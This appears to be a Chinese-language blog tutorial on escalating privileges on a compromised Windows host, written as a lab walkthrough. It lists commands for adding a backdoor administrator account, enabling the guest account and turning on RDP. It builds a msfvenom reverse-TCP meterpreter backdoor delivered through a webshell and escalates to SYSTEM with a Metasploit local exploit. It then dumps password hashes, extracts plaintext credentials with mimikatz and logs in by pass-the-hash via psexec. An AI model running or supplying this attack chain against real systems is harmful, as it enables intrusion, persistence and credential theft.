Windows权限提升

2023-09-23 04:48

1.Windows提权前期相关事项

明确事项: 1、明确漏洞编号及版本 2、明确漏洞利用平台及版本 3、确保cmd执行权限正常运行 4、确保服务器相关防护软件情况 systeminfo查看系统补丁:一般的,如果网站安全做好的的情况下,会有几百个补丁

2.Windows提权常用命令

whoami 查看当前权限 ipconfig 查看服务器为内网还是外网 quser 查看管理是否在线 systeminfo 查看服务器信息及相应的补丁,可找相应的补丁提权 tasklist 查看当前运行的进程,是否有av,可利用的第三方的服务提权等 net user 查看用户

net user admin adqqq7! /add 添加账户 net localgroup administrators admin /add 将admin这个用户加到管理组 net user guest /active:yes 激活guest账户 net user admin /del 删除admin账户 tasklist /svc 查看进程服务 tasklist /m dll 查看调用某个dll的进程 tasklist /v 显示当前进程和进程用户 qwinsta 显示会话情况 net config workstation 查看当前登陆用户信息 hostname 主机名 set 查看环境变量 net view 显示当前域或工作组中计算机的列表 net statistics workstation 查看主机开机时间 net share 查看共享文件夹 查看3389是否开启,0x0为开,0x1为关 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections

win2012通用,win7开启3389: wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

windows server2008开启3389: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

windows server 2003,windws XP开启3389: wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

3.Windows提权实战

环境:Win7(admin用户)+ Kali Linux 在做提权实验之前,我们已经拿下了webshell,如何利用漏洞拿下webshell这里就不再赘述

使用msf生成一个exe后门;通过Webshell 执行该后门程序 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.142 lport=5555 -f exe -o 5555.exe // lhost 需改成kali机器的IP msf监听端口

上传到webshell

通过msf去连接5555.exe

msfconsole use exploit/multi/handler options set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.85.137 set lport 5555 run

执行5555.exe

即可得到meterpreter会话

得到一个meterpreter会话之后,getuid发现为普通用户权限

backgroud,将会话放入后台

利用sessions查看会话

sessions -i 1 进入metepreter

run post/windows/gather/enum_patches查看补丁信息

run post/multi/recon/local_exploit_suggester查询哪些提权exp可以用

发现cve_2020_1054_drawiconex_lpe可用,background

search cve_2020_1054

发现序号为0的是可用的exp use 0

show options 发现需要设置session

设置session为1,exploit执行

成功返回meterpreter,getuid发现成功提权至system权限 shell进入cmd的shell,执行whoami,为system权限

乱码使用chcp 437即可

4.Windows提权后期密码安全性测试

(1、利用run hashdump或者hashdump进行dump服务器hash值

解密5b0d25cd4db90127e90bcf4c7c75242a即可获得管理员账号密码,通常为cmd5加密

MD5免费在线解密破解_MD5在线加密-SOMD5

(2、利用mimikatz获取管理员账号密码

load kiwi,加载kiwi模块 (如果加载失败,需要手动安装)

creds_all,列举系统明文密码

kiwi_cmd可以使用mimikatz的全部功能,比如kiwi_cmd sekurlsa::logonpasswords获取明文密码

(3、当hash解密不出来的时候,可以利用hash来直接远程登录

注意:以Win7或者Win XP作为靶机时攻击失败,建议使用Windows server 2012作为靶机进行测试 use exploit/windows/smb/psexec set RHOSTS 192.168.1.147 set SMBUser XXXX

set SMBPass aad3b435b51404eeaad3b435b51404ee:1ced49662211f8194549a7b355a5e211 exploit

windows提权总结:

1. 先获得一个 webshell

2. 使⽤msf⽣成⼀个exe后⻔;通过 webshell 执⾏该后⻔程序

3. 得到⼀个meterpreter会话之后,查询哪些提权exp可以⽤

4. 通过MSF利用